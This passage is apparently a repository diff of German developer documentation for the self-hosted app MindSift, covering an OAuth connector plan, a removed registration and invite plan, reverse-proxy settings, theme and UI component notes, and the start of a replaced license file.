- **`BASE_URL` muss gesetzt sein.** Sie ist `issuer` und Ressource; aus dem `Host`-Header gebaut wäre sie fälschbar. Ohne `BASE_URL` ist OAuth aus: kein `WWW-Authenticate`-Hinweis, und die Endpunkte antworten mit 404. Die Einstellungen sagen dann „OAuth braucht `BASE_URL`“.
- **Reverse-Proxy:** `/.well-known/` und `/oauth/` müssen bei MindSift ankommen. Mit der Beispielkonfiguration in [reverse-proxy.md](../reverse-proxy.md) (`location /`) ist das so; dort ergänze ich einen Hinweis.
- **Demo-Modus:** OAuth aus (Demo-Daten werden zurückgesetzt, Einträge wären sinnlos).
- **CSP:** Die Zustimmungsseite leitet per `window.location` weiter, nicht per Formular, also kein `form-action` nötig.
- **Kein eigener Admin-Schalter** für OAuth. Ein Schalter für den ganzen MCP-Zugang ist eine eigene Aufgabe; ist MCP aus, ist auch OAuth aus.
- **Unbenutzte Zugänge verfallen:** Ein OAuth-Eintrag, der 90 Tage nicht benutzt wurde, wird beim Aufräumen gelöscht (samt Tokens). Einstellbar mit `OAUTH_IDLE_DAYS` (Standard `90`, `0` = nie).
## Oberfläche
- Neue Ansicht **Zustimmung** (`/oauth/authorize`), Handy-tauglich: Logo, Client-Name, Rücksprung-Domain gut sichtbar („Weiterleitung zu claude.ai“), Rechte-Häkchen mit den vorhandenen Bezeichnungen aus `ApiKeysPanel`, Erlauben/Ablehnen (44 px). Nicht angemeldet → Anmeldung, danach zurück zur Zustimmung (Parameter bleiben erhalten).
- **API-Schlüssel-Liste:** OAuth-Einträge mit Kennzeichen „OAuth“ und Client-Name; „Schlüssel anzeigen/kopieren“ entfällt bei ihnen.
- **Hilfe-Text** in `ApiKeysPanel` ersetzen: statt „claude.ai … wird noch nicht unterstützt“ eine kurze Anleitung „In claude.ai als Connector eintragen: `<BASE_URL>/api/v1/mcp`“ mit Kopier-Knopf.
## Tests
- Go: kompletter Ablauf (registrieren → zustimmen → Code tauschen → MCP aufrufen → erneuern), falsche `redirect_uri`, falscher `code_verifier`, Code doppelt benutzt, abgelaufene Tokens, Refresh-Wiederverwendung, Widerruf des Eintrags, OAuth-Token an REST-Endpunkt (abgelehnt), ohne `BASE_URL` (aus), Demo (aus). Ablaufzeiten mit übergebener Zeit, Tests unter mehreren `TZ`.
- Frontend: Zustimmungsseite (Vorbelegung der Rechte, Ablehnen).
- Von Hand: Verbindung aus claude.ai gegen die `dev`-Instanz bzw. mit dem MCP Inspector.
## Doku und Release
- `Doku/api/rest.md` (Abschnitt MCP, neue OAuth-Endpunkte), `Doku/architecture.md`, `README.md` (Funktionsliste), `Doku/reverse-proxy.md`.
- Neue Funktion → Minor-Version, CHANGELOG „Added: MindSift lässt sich in claude.ai und ChatGPT als Connector verbinden“.
- Die Website erwähnt evtl. „claude.ai noch nicht unterstützt“; das melde ich, statt es zu ändern.
## Reihenfolge und Aufwand (grob)
1. Datenbank, Token-Speicher, `authenticateToken` für `mindsift_oat_`, `WWW-Authenticate` – klein.
2. Metadaten, Registrierung, Token-Endpunkt mit PKCE und Refresh – mittel.
3. Zustimmungsseite und API-Schlüssel-Liste – mittel.
4. Tests, Doku, Ausprobieren mit claude.ai – klein bis mittel.
Keine neue Go-Abhängigkeit nötig: Für den Server-Teil reicht die Standardbibliothek (SHA-256 für PKCE, `crypto/rand`), `golang.org/x/oauth2` ist eine Client-Bibliothek und hilft hier kaum.
## Entscheidungen (2026-11-01)
- Ohne `scope` sind Lesen und Ändern für Aufgaben und Listen vorbelegt.
- Kein OAuth-Schalter; MCP insgesamt abschaltbar kommt separat.
- Refresh-Token 90 Tage, bei jeder Erneuerung neu.
- Unbenutzte OAuth-Einträge verfallen nach 90 Tagen, `OAUTH_IDLE_DAYS`.
-103
View File
@@ -1,103 +0,0 @@
# Plan: Registrierung und Anmeldung (Entwurf)
Stand 2026-10-31. **Umgesetzt in v0.23.0:** Abschnitte 1 (Registrierungsmodus und Freigabe), 2 (Umgebungsvariablen) und 3 (Einladungslinks, per E-Mail einladen, mehrfach verwendbare Links). E-Mail-Bestätigung per Link in v0.24.0. OpenID Connect ist zurückgestellt (kein Bedarf), vermerkt in `TODO.md`. Ziel: ein Zwischending zwischen „jeder darf sich registrieren“ und „für jede Person einen Einladungscode erzeugen“, dazu bequemere Anmeldung.
## Heute
- `ALLOW_REGISTRATION` bzw. Admin-Schalter „offene Registrierung“: jeder kann ein Konto anlegen.
- Sonst nur mit Einladungscode (optional an eine E-Mail-Adresse und eine Organisation gebunden, einmal verwendbar, mit Ablaufdatum).
- Anmeldung nur mit E-Mail/Benutzername und Passwort (dazu API-Keys für Webhooks).
## 1. Registrierungsmodus statt Ja/Nein
Ein Modus ersetzt den Schalter „offene Registrierung“:
| Modus | Verhalten |
|---|---|
| `closed` | Nur mit Einladungscode (wie heute ohne offene Registrierung). |
| `approval` | Jeder kann sich registrieren, das Konto ist aber **gesperrt, bis ein Admin es freigibt**. |
| `domain` | Registrierung nur mit E-Mail-Adressen bestimmter Endungen (z. B. `@firma.de, @familie-dach.de`), sofort aktiv. |
| `domain+approval` | Erlaubte Endungen sofort aktiv, alle anderen warten auf Freigabe. |
| `open` | Jeder, sofort aktiv (wie heute). |
Einladungscodes funktionieren in jedem Modus und überspringen Freigabe und Endungsprüfung.
**Freigabe durch Admin**
- Neue Konten im Modus `approval` werden mit `is_active = 0` und einem Status „wartet auf Freigabe“ angelegt (eigenes Feld, damit „gesperrt“ und „wartet“ unterscheidbar bleiben).
- Die Person sieht nach der Registrierung: „Dein Konto wird geprüft. Du bekommst eine E-Mail, sobald es freigeschaltet ist.“ Anmelden geht bis dahin nicht (gleiche Meldung).
- Admins bekommen eine Benachrichtigung über die vorhandenen Kanäle (E-Mail/Push, neues Ereignis „Registrierung wartet“) und sehen in der Benutzerverwaltung oben eine Liste **„Wartet auf Freigabe“** mit Freigeben / Ablehnen. Ablehnen löscht das Konto.
- Bei Freigabe geht eine E-Mail im bekannten Layout an die Person („Dein Konto ist freigeschaltet“ mit Knopf zur App).
- Ohne SMTP funktioniert alles, nur ohne E-Mails.
**E-Mail-Endungen**
- Liste von Domains, Vergleich ohne Groß-/Kleinschreibung auf den Teil nach `@` (keine Subdomains, außer ausdrücklich `*.firma.de`).
- Optional: **E-Mail-Adresse bestätigen** per Link (wie Passwort vergessen, gleiche Token-Technik), bevor das Konto aktiv wird. Sonst kann jeder `chef@firma.de` eintippen. Bei `domain` sollte die Bestätigung Pflicht sein, wenn SMTP eingerichtet ist.
**Missbrauch**
- Gleiche Bremse wie beim Login (Anfragen pro IP), dazu höchstens N wartende Registrierungen gleichzeitig (z. B. 50), danach „gerade keine Registrierung möglich“.
- In der Demo bleibt Registrierung aus.
## 2. Einstellungen: Admin-Oberfläche oder Umgebungsvariablen
Damit die Admin-Einstellungen nicht überladen werden:
- **Admin-Oberfläche:** nur der Modus (Auswahlfeld) und darunter, je nach Modus, das Feld für die erlaubten Endungen. Die Liste „Wartet auf Freigabe“ steht in der Benutzerverwaltung, nicht in den Einstellungen.
- **Umgebungsvariablen** (gewinnen, wenn gesetzt; das Feld in der Oberfläche ist dann gesperrt mit Hinweis „über die Umgebung festgelegt“ – so wie heute bei SMTP):
```env
REGISTRATION_MODE=domain+approval # closed | approval | domain | domain+approval | open
REGISTRATION_DOMAINS=firma.de,familie-dach.de
REGISTRATION_VERIFY_EMAIL=true # Bestätigungslink vor Aktivierung
```
- `ALLOW_REGISTRATION=true` bleibt als Alias für `REGISTRATION_MODE=open` erhalten.
## 3. Einladungen bequemer
Heute: Der Admin erzeugt einen Code (optional an eine E-Mail-Adresse und Organisation gebunden, Rolle, Gültigkeit 1–365 Tage, **einmal** verwendbar) und gibt ihn weiter; die Person wählt auf der Anmeldeseite „Einladungscode“ und tippt ihn ab.
**Einladungslink**
- Jeder Code ist auch als Link nutzbar: `https://<instanz>/?invite=<CODE>`. Der Link öffnet direkt die Registrierung mit eingetragenem Code; ist er an eine Adresse gebunden, steht die E-Mail schon fest.
- Die App entfernt den Code nach dem Öffnen aus der Adresszeile (wie beim Passwort-Link).
- In der Admin-Liste neben jedem Code: **Link kopieren** und – mit SMTP – **per E-Mail einladen** (Adresse eingeben → E-Mail im MindSift-Layout mit Knopf „Konto anlegen“, wer eingeladen hat, Gültigkeit). Beim Einladen per E-Mail wird der Code automatisch an diese Adresse gebunden.
- Den Link baut die Admin-Oberfläche aus der aktuellen Adresse; nur die E-Mail braucht `BASE_URL`.
**Mehrere Personen mit einem Code**
- Neues Feld **„Wie oft verwendbar“** (Standard 1, z. B. 20) – ein Link für eine ganze Gruppe, Klasse oder Familie. In der Liste steht „3 von 20 verwendet“, Widerrufen beendet ihn sofort.
- Mehrfach-Codes können nicht an eine einzelne E-Mail gebunden werden, wohl aber an eine Organisation und an die erlaubten E-Mail-Endungen (Abschnitt 1).
- Technisch: Spalten `max_uses` und `use_count` an `user_invites`; das bestehende „Code reservieren → Konto anlegen → als benutzt markieren“ zählt dann hoch statt abzuschließen (weiter ohne Doppelverwendung bei gleichzeitigen Registrierungen).
## 4. Anmelden mit anderen Konten (zurückgestellt)
### OpenID Connect (statt „nur Google“)
Ein allgemeiner OIDC-Login deckt Google, Microsoft, Apple und vor allem **selbst gehostete Anbieter** ab: Authentik, Keycloak, Authelia – und **Gitea/Forgejo selbst** kann OIDC-Anbieter sein. Für ein Homelab ist das meist nützlicher als Google.
- Konfiguration nur per Umgebung (Geheimnisse gehören nicht in die Datenbank-Oberfläche):
```env
OIDC_ISSUER=https://git.dsit.me/ # oder https://accounts.google.com
OIDC_CLIENT_ID=…
OIDC_CLIENT_SECRET=…
OIDC_BUTTON_LABEL=Mit Gitea anmelden
OIDC_ALLOWED_DOMAINS=firma.de # optional, sonst gilt der Registrierungsmodus
OIDC_AUTO_CREATE=true # neues Konto beim ersten Login anlegen (Modus/Freigabe gelten)
```
- Ablauf: Authorization Code Flow mit PKCE, `state` und `nonce`; Rückkehr auf `BASE_URL/api/v1/auth/oidc/callback`. Konten werden über `iss`+`sub` verknüpft (neue Tabelle), nicht nur über die E-Mail.
- Besteht schon ein Konto mit derselben, vom Anbieter **bestätigten** E-Mail, wird es nach Passwortabfrage verknüpft (kein stilles Übernehmen fremder Konten).
- Danach normale MindSift-Sitzung (wie heute), Abmelden bleibt lokal.
- Passwort-Login bleibt daneben möglich; optional `PASSWORD_LOGIN=false`, wenn nur noch OIDC gewünscht ist (Admin-Notzugang beachten).
Eine Anmeldung über den Mailserver (SMTP-Prüfung wie in Gitea) ist bewusst nicht vorgesehen: Das Mailpasswort liefe durch MindSift, und große Anbieter erlauben es meist nicht mehr.
## Reihenfolge und Aufwand (grob)
1. Einladungslink (Link kopieren, per E-Mail einladen) und mehrfach verwendbare Codes – klein bis mittel, sofort nützlich. (Mehrere Einzel-Codes auf einmal erzeugen ist damit überflüssig und entfällt.)
2. Registrierungsmodus mit Freigabe und Endungen, Umgebungsvariablen, Admin-Liste „Wartet auf Freigabe“, E-Mails – mittel.
3. E-Mail-Bestätigung per Link – klein (Technik wie Passwort vergessen).
4. OIDC-Login – mittel (Bibliothek `coreos/go-oidc` + `golang.org/x/oauth2`, neue Tabelle für verknüpfte Konten, Knopf auf der Anmeldeseite).
## Offene Fragen
- Sollen Admins bei jeder wartenden Registrierung benachrichtigt werden oder reicht ein Zähler in der Benutzerverwaltung?
- Neue Konten per Endung automatisch einer Organisation zuordnen (z. B. `@firma.de` → Organisation „Firma“)?
- Welcher OIDC-Anbieter zuerst: Gitea, Google, Authentik …?
- Soll ein abgelehnter Antrag gesperrt bleiben (gleiche Adresse kann es nicht erneut versuchen) oder einfach gelöscht werden?
-1
View File
@@ -12,7 +12,6 @@ Dieses Dokument beschreibt die empfohlene Konfiguration von Reverse-Proxies und
| **Server-Sent Events (SSE)** | 443 (HTTPS) / 80 (HTTP) | `X-Accel-Buffering: no`<br>`proxy_buffering off`<br>`proxy_cache off` | Fallback bei blockiertem WebSocket-Upgrade |
| **REST API & Uploads** | 443 (HTTPS) / 80 (HTTP) | `client_max_body_size 64M` | Notizen, Import/Export (JSON) |
| **Client-IP** | – | `X-Real-IP` / `X-Forwarded-For` | Login-Sperre nach Fehlversuchen trifft den richtigen Absender |
| **OAuth (MCP)** | 443 (HTTPS) | `/.well-known/oauth-*` und `/oauth/*` an MindSift durchreichen (mit `location /` automatisch), `BASE_URL` gesetzt | claude.ai und ChatGPT als Connector |
### Client-IP und `TRUSTED_PROXIES`
+2 -2
View File
@@ -68,6 +68,6 @@ Bei der Einrichtung im Modus `organizations` wird eine Organisation mit dem Name
## Sitzungen und Zugriff
- Jede Anmeldung ist eine Sitzung (`sessions`), die einzeln beendet werden kann (Logout, Profil → Aktive Sitzungen). Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ beenden alle Sitzungen (`token_version`); eine Passwortänderung alle außer der aktuellen.
- Tokens werden bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ ungültig (`token_version`); ausgeloggte Tokens landen in `revoked_tokens`.
- Registrierung nur per Einladungscode oder, wenn vom Admin freigeschaltet, offen. Das erste Konto wird immer Administrator.
- Bekannte Lücken in der Zugriffskontrolle: siehe [flaws.md](flaws.md).
- Bekannte Lücken in der Zugriffskontrolle: [FLAW-01](flaws.md), [FLAW-02](flaws.md), [FLAW-03](flaws.md), [FLAW-07](flaws.md), [FLAW-08](flaws.md).
+2 -7
View File
@@ -80,13 +80,8 @@ Jede Theme-Datei gliedert sich in sechs exakt definierte Bereiche:
| :--- | :--- | :--- | :--- |
| `dark` | [`theme-dark.css`](../frontend/src/themes/theme-dark.css) | Standard Dark Slate / Monochrom | Streng eckig (`0px` Cards, `2px` Buttons) |
| `light` | [`theme-light.css`](../frontend/src/themes/theme-light.css) | Daylight Clean White / Minimalistisch | Modern dezent (`4px` Cards, `4px` Buttons) |
| `terracotta` | [`theme-terracotta.css`](../frontend/src/themes/theme-terracotta.css) | Warmes Cremepapier, Tinte, Terrakotta-Akzent, eigene Code-Farben in Erdtönen | Weich (`12px`) |
| `terracotta-night` | [`theme-terracotta-night.css`](../frontend/src/themes/theme-terracotta-night.css) | Espresso-Braun, Creme-Schrift, glühender Terrakotta-Akzent | Weich (`12px`) |
| `fjord` / `fjord-night` | [`theme-fjord.css`](../frontend/src/themes/theme-fjord.css), [`theme-fjord-night.css`](../frontend/src/themes/theme-fjord-night.css) | Kühles Papier und Gletscherblau / Nachtblau | Weich (`12px`) |
| `polarized-light` | [`theme-polarized-light.css`](../frontend/src/themes/theme-polarized-light.css) | Helles Gegenstück zu Polarized: Mintweiß, Petrol | Eckig (`0px`) |
| `suri-light` | [`theme-suri-light.css`](../frontend/src/themes/theme-suri-light.css) | Helles Gegenstück zu Suri: Lavendel, Pflaume | Weich (`10px`) |
Die eingebauten Themes sind in Farbfamilien mit je einer hellen und dunklen Variante gruppiert (`THEME_FAMILIES` in [`theme.ts`](../frontend/src/lib/theme.ts)). Pro Gerät lassen sich unter Darstellung zusätzlich einstellen: Hell/Dunkel „Wie System“ (wechselt innerhalb der Familie), Ecken (`data-corners="round|square"` überschreibt die `--radius-*`-Werte), Rahmen an Knöpfen (`data-button-borders="off"`) und eine eigene Akzentfarbe (setzt `--accent-*` direkt am Wurzelelement). Code-Farben in `index.css` sind nur Rückfallwerte (`:where(...)`), die `--code-*`-Werte eines Themes gewinnen immer.
| `high-contrast` | [`theme-high-contrast.css`](../frontend/src/themes/theme-high-contrast.css) | Reines Schwarz/Weiß mit AAA-Kontrast | Streng eckig (`0px`, kräftige Rahmen) |
| `soft` | [`theme-soft.css`](../frontend/src/themes/theme-soft.css) | Warmes Soft Slate mit Indigo-Akzent | Weich gerundet (`12px` Cards, `8px` Buttons) |
| `polarized` | [`theme-polarized.css`](../frontend/src/themes/theme-polarized.css) | Tiefdunkles Obsidian mit elektrischem Grün/Türkis | Streng eckig (`0px` Cards, `2px` Buttons) |
| `suri` | [`theme-suri.css`](../frontend/src/themes/theme-suri.css) | Warmes Mitternachts-Pflaume mit samtiger Orchidee | Weich gerundet (`10px` Cards, `6px` Buttons) |
| *Template* | [`theme-template.css`](../frontend/src/themes/theme-template.css) | Vollständig dokumentierte Kopiervorlage | Frei anpassbar |
+7 -55
View File
@@ -14,7 +14,6 @@ Eingesetzt beim Teilen (`UnifiedShareModal`), beim Hinzufügen zu Gruppen (`Grou
- Bereits gewählte oder freigegebene Personen werden über `excludeUserIds` ausgeblendet.
- **Einzelauswahl** (Teilen, Gruppen): `selectedUser` setzen; das Feld zeigt dann die gewählte Person mit ×.
- **Mehrfachauswahl** (Aufgaben zuweisen): `selectedUser={null}` lassen und in `onSelectUser` zur Liste hinzufügen. Die Gewählten stehen als Chips (Avatar, Name, ×) über dem Feld, das Feld bleibt für die nächste Suche frei.
- Am Handy sind Feld, gewählte Person und Trefferzeilen 44 px hoch (Schrift 16 px, kein Zoom unter iOS), ab `sm` wie bisher 32 px.
## Profilbilder als Stapel
@@ -37,9 +36,8 @@ Komponente: [AvatarStack.tsx](../frontend/src/components/AvatarStack.tsx) (nutzt
Komponente: [ToggleSwitch.tsx](../frontend/src/components/ToggleSwitch.tsx)
- Ein/Aus-Einstellungen sind immer Schalter, keine Checkbox-Haken und keine „angehakten“ Buttons (Einrichtung, Admin-Bereich, Berechtigungen eines API-Keys, Bereiche beim Import und Wiederherstellen → `SectionPicker`).
- Ein/Aus-Einstellungen sind immer Schalter, keine Checkbox-Haken (Einrichtung, Admin-Bereich).
- Text links (Titel, darunter eine kurze Erklärung in `text-muted`), Schalter rechts.
- Eine Auswahl **einer** Option aus mehreren (Import-Modus, Ecken, Theme-Folgen) bleibt eine Button-Gruppe mit `role="radio"`.
## Kleine Dialoge (Anlegen, Umbenennen)
@@ -47,69 +45,23 @@ Komponente: [FormSheet.tsx](../frontend/src/components/FormSheet.tsx), Tastatur-
- **Handy:** Bottom-Sheet über die volle Breite, das direkt über der Bildschirmtastatur sitzt (der Abstand kommt aus `visualViewport`), Griff oben, Felder und Buttons mindestens 44 px hoch, Eingaben in 16 px (sonst zoomt iOS), Abbrechen/Erstellen nebeneinander über die ganze Breite.
- **Desktop:** zentriertes Fenster, oder mit `anchor` neben der Klickposition (z. B. „Neuer Ordner“ im Explorer).
- Escape und Klick auf den Hintergrund schließen. Genutzt für neue Aufgabenliste, neue Einkaufsliste, neue Notiz und neuen Ordner; das Emoji-Sheet nutzt denselben Tastatur-Abstand.
- **Icon-Feld:** [EmojiIconButton.tsx](../frontend/src/components/EmojiIconButton.tsx) statt eines Textfelds: zeigt das Emoji (ohne Icon ein dezentes „Icon wählen“) und öffnet denselben Emoji-Auswähler wie der Notiz-Kopf, inklusive „Entfernen“. Im Dialog liegt der Auswähler per Portal über der Seite; Escape schließt nur ihn.
## Bestätigung an der Mausposition
Komponente: [ConfirmPopover.tsx](../frontend/src/components/ConfirmPopover.tsx)
- Für Rückfragen zu einer einzelnen Aktion, z. B. Ordner löschen: ein kleines Fenster direkt an der Stelle des Klicks (unten rechts vom Mauszeiger, am Fensterrand nach oben bzw. links geklappt), kein Dialog in der Bildmitte.
- „Abbrechen“ und die Aktion (gefährliche Aktionen rot mit `danger`); die Aktion hat den Fokus, Enter bestätigt, Escape oder ein Klick daneben schließt. Per Tastatur ausgelöst öffnet es am Knopf. Am Handy sind die Knöpfe 44 px hoch.
## Hinweis mit „Rückgängig“
- Kurzer Hinweis unten mittig (`role="status"`, Fläche `bg-panel-elevated`), am Handy über der unteren Leiste; mit Aktion bleibt er 8–10 s, sonst 3–4 s.
- Nach Löschen in den Papierkorb: „… im Papierkorb · Rückgängig“ (Workspace und Aufgaben). In den Aufgaben macht `Strg+Z` dasselbe; eine neue Aktion blendet den alten Hinweis aus, damit „Rückgängig“ nie einen anderen Schritt trifft.
- Escape und Klick auf den Hintergrund schließen. Genutzt für neue Aufgabenliste, neue Einkaufsliste und neuen Ordner; das Emoji-Sheet nutzt denselben Tastatur-Abstand.
## Zähler
Komponente: [CountBadge.tsx](../frontend/src/components/CountBadge.tsx), CSS-Klassen `count-badge*` in [index.css](../frontend/src/index.css). Es gibt keine anderen Zähler-Stile mehr.
- **Form:** runder, gefüllter Kreis mit dünnem Rand, ohne Schatten oder Ring, mindestens 16 px, ab 100 als „99+“ (der Screenreader liest die echte Zahl). Bei 0 ausgeblendet, außer mit `showZero` (z. B. Mitgliederzahl, mobiles Menü).
- **Form:** runder Kreis, mindestens 16 px, ab 100 als „99+“ (der Screenreader liest die echte Zahl). Bei 0 ausgeblendet, außer mit `showZero` (z. B. Mitgliederzahl, mobiles Menü).
- **Farbe (`variant`):**
- `accent`: Hier wartet etwas auf dich. Navigationsleiste: Triage (Inbox), Aufgaben (offene Aufgaben), Listen (offene Einträge aller eigenen und geteilten Listen). Workspace hat keinen Zähler.
- `muted` (Standard): reine Anzahl. Tabs der Aufgabenlisten und Listen, Organisationen, mobiles Menü.
- Beide kommen aus den Theme-Variablen (`--accent-primary`/`--text-on-accent` bzw. `--text-muted`/`--bg-panel`) und passen sich damit jedem Theme an. Der Akzent liegt auf einer deckenden Panel-Fläche, damit am Handy das Icon darunter nicht durchscheint.
- Beide kommen aus den Theme-Variablen (`--accent-primary`/`--text-on-accent` bzw. `--text-muted`/`--bg-panel`) und passen sich damit jedem Theme an.
- **Position (`position`):**
- `text`: an Beschriftungen (Navigation, Reiter der Aufgabenlisten und Listen, Workspace-Kopf). Der Zähler steht im Textfluss direkt hinter dem Wort, leicht angehoben, und hängt immer 2 px über den letzten Buchstaben, egal wie viele Stellen die Zahl hat; breitere Zahlen machen den Reiter breiter. Der Text steht dafür in einem `inline-flex items-center`-Span.
- `corner`: Benachrichtigungs-Badge oben rechts am nächsten `relative` Elternelement; für Icons, z. B. in der mobilen Leiste (`-top-1.5 -right-2.5`).
- `corner`: Benachrichtigungs-Badge oben rechts am nächsten `relative` Elternelement, mit Ring in der Seitenfarbe. In der Navigation und an den Tabs sitzt er **auf dem Text**: der Text steht in einem `relative inline-flex`-Span (mit `pr-3`, solange ein Zähler da ist), der Kreis bekommt `-top-0.5 -right-2`, damit er die obere Tab-Linie nicht anschneidet und nicht am Text klebt. In der mobilen Leiste sitzt er am Icon (`-top-1.5 -right-2.5`).
- `inline`: im Textfluss.
- Zahlen im mobilen Menü (`MobileActionContext`, `badge: number`) werden automatisch als `CountBadge` gezeigt; Text-Badges wie „2 aktiv“ bleiben Textmarken.
- **Wichtig für neue Klassen:** Tailwind entfernt Klassen aus `@layer components`, die nicht wörtlich im Code stehen. Klassennamen deshalb nie zusammensetzen (`count-badge-${variant}`), sondern ausschreiben.
## Herkunfts-Badge (API-Schlüssel)
Komponente: [OriginBadge.tsx](../frontend/src/components/OriginBadge.tsx)
- Eine Badge für alles, was ein API-Schlüssel angelegt oder geändert hat (Feld `origin`): neutraler Rahmen, vorne ein Symbol für den Zugang (Webhook = REST/curl, Roboter = MCP), dahinter der Name des Schlüssels. Ältere Einträge ohne Schlüssel zeigen „API“ bzw. „MCP“.
- Höchstens eine Badge pro Eintrag: der Schlüssel, der angelegt hat, sonst der, der zuletzt geändert hat. Sie bleibt dauerhaft, auch nach eigenem Bearbeiten und nach der Triage.
- Details (angelegt / zuletzt geändert, mit Schlüssel und Zeit) per Mouseover und per Tippen (kleines Info-Fenster, am Handy mit vergrößerter Trefferfläche); in der Aufgaben-Detailansicht stehen sie zusätzlich unten (`originDetails`). Ein Tipp auf die Badge öffnet nie den Eintrag.
- Größen: `sm` in Aufgabenzeilen, Inbox-Liste und Detailansicht, `xs` auf Kanban-Karten und in Listen, `md` auf den Triage-Karten.
- In der Aufgaben-Detailansicht steht die Badge am Handy nicht im Kopf (kein Platz neben den Knöpfen); dort zeigen nur die Details unten die Herkunft.
## Liste wechseln (Handy)
Komponente: [ListSwitcher.tsx](../frontend/src/components/ListSwitcher.tsx)
- In der Kopfleiste am Handy (Aufgaben, Listen) ist der Titel der offenen Liste ein Knopf mit Pfeil. Ein Tipp klappt alle Listen auf, mit Icon, Zähler (`CountBadge`, `muted`) und Haken an der offenen; ein Tipp auf eine Liste wechselt dorthin.
- Schließt bei Tipp daneben und mit Escape. Am Desktop bleiben die Reiter über der Liste.
## Kopfzeile: Status | Aktionen
Komponente für den Verbindungsstatus: [LivePill.tsx](../frontend/src/components/LivePill.tsx) (Notizen zeigen ihren eigenen Sync-Weg im selben Aussehen).
- Rechts im Kopf von Notizen, Aufgaben und Listen gilt dieselbe Reihenfolge: links die Statusanzeigen (Live-Pille, „Geteilt“), dann ein senkrechter Trenner (`w-px h-5 bg-border`), rechts die Knöpfe (Teilen, Ansicht, Menü). Am Handy genauso, dort steht in der Pille nur „Live“.
## Mikrofon in Eingabezeilen
Komponente: [VoiceInputButton.tsx](../frontend/src/components/VoiceInputButton.tsx) (nutzt `useVoiceInput` wie der Quick Dump)
- Runder Mikrofon-Knopf direkt in der Zeile, rechts im Feld; diktierter Text wird an den Text angehängt, der beim Start im Feld stand. Am Handy 36 px, am PC 28 px.
- Während der Aufnahme `MicOff` in Akzentfarbe, mit eigenem Whisper-Server zusätzlich die Live-Wellen, danach „Wird erkannt…“ mit Spinner.
- Ausgeblendet, wenn die Spracheingabe aus ist (`STT_DISABLED`, oder `STT_ALLOW_BROWSER=false` ohne Whisper-Server) oder der Browser sie nicht kann (z. B. Firefox ohne eigenen Whisper-Server). Fehler zeigt das Feld kurz als Platzhalter.
- Eingesetzt: Quick Dump (eigene Umsetzung), Aufgabe hinzufügen (Zeile am PC, „Neue Aufgabe anlegen“ am Handy), Listeneintrag hinzufügen.
## Ladebildschirm & Statusleiste
- `manifest.json`: `name` „MindSift“ (kurz, der Slogan steht in `description`), `background_color` und `theme_color` `#2563eb` – Android baut daraus den Splash-Screen.
@@ -121,9 +73,9 @@ Komponente: [VoiceInputButton.tsx](../frontend/src/components/VoiceInputButton.t
Komponente: [HoldToRecordFab.tsx](../frontend/src/features/capture/HoldToRecordFab.tsx)
- **Kurz tippen (< 350 ms):** Führt wie bisher die primäre Aktion der aktuellen Ansicht (`primaryAction`) oder den mobilen Erfassungsdialog (`openMobileTriageCapture`) aus.
- **Gedrückt halten (≥ 350 ms):** Startet direkt eine Sprachaufnahme über `useVoiceInput` (im Server-Modus per Whisper mit echten Pegel-Wellen, sonst über die Spracherkennung des Browsers). Der Button wird zum pulsierenden Mikrofon (`bg-status-err`), darüber zeigt eine schwebende Pille „Ich höre zu… (loslassen speichert)“ samt Live-Transkript.
- **Gedrückt halten (≥ 350 ms):** Startet direkt eine Sprachaufnahme über die Web Speech API (`de-DE`, `continuous`, `interimResults`). Der Button wird zum pulsierenden Mikrofon (`bg-status-err`), darüber zeigt eine schwebende Pille „Ich höre zu… (loslassen speichert)“ samt Live-Transkript.
- **Loslassen:** Stoppt die Aufnahme, wartet kurz auf das letzte Wort und speichert den Text unabhängig von der aktiven Ansicht immer als Gedanken in die Inbox (`source: 'voice'`, `target: 'inbox'`).
- **Nach oben ziehen (> 60 px):** Schaltet die Pille in den Abbruch-Zustand („🗑️ Zum Abbrechen loslassen“); Loslassen dort verwirft die Aufnahme (`abort()`).
- **Fallback:** Ist die Spracheingabe abgeschaltet (`STT_DISABLED=true`), unterstützt der Browser keine Spracherkennung oder ist das Mikrofon gesperrt (`not-allowed`), öffnet Halten wie beim Tippen den Dialog und blendet eine kurze Statusmeldung über der Bottom-Leiste ein.
- **Fallback:** Unterstützt der Browser keine Spracherkennung oder ist das Mikrofon gesperrt (`not-allowed`), öffnet Halten wie beim Tippen den Dialog und blendet eine kurze Statusmeldung über der Bottom-Leiste ein.
+24 -661
View File
@@ -1,661 +1,24 @@
GNU AFFERO GENERAL PUBLIC LICENSE
Version 3, 19 November 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU Affero General Public License is a free, copyleft license for
software and other kinds of works, specifically designed to ensure
cooperation with the community in the case of network server software.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
our General Public Licenses are intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
Developers that use our General Public Licenses protect your rights
with two steps: (1) assert copyright on the software, and (2) offer
you this License which gives you legal permission to copy, distribute
and/or modify the software.
A secondary benefit of defending all users' freedom is that
improvements made in alternate versions of the program, if they
receive widespread use, become available for other developers to
incorporate. Many developers of free software are heartened and
encouraged by the resulting cooperation. However, in the case of
software used on network servers, this result may fail to come about.
The GNU General Public License permits making a modified version and
letting the public access it on a server without ever releasing its
source code to the public.
The GNU Affero General Public License is designed specifically to
ensure that, in such cases, the modified source code becomes available
to the community. It requires the operator of a network server to
provide the source code of the modified version running there to the
users of that server. Therefore, public use of a modified version, on
a publicly accessible server, gives the public access to the source
code of the modified version.
An older license, called the Affero General Public License and
published by Affero, was designed to accomplish similar goals. This is
a different license, not a version of the Affero GPL, but Affero has
released a new version of the Affero GPL which permits relicensing under
this license.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU Affero General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
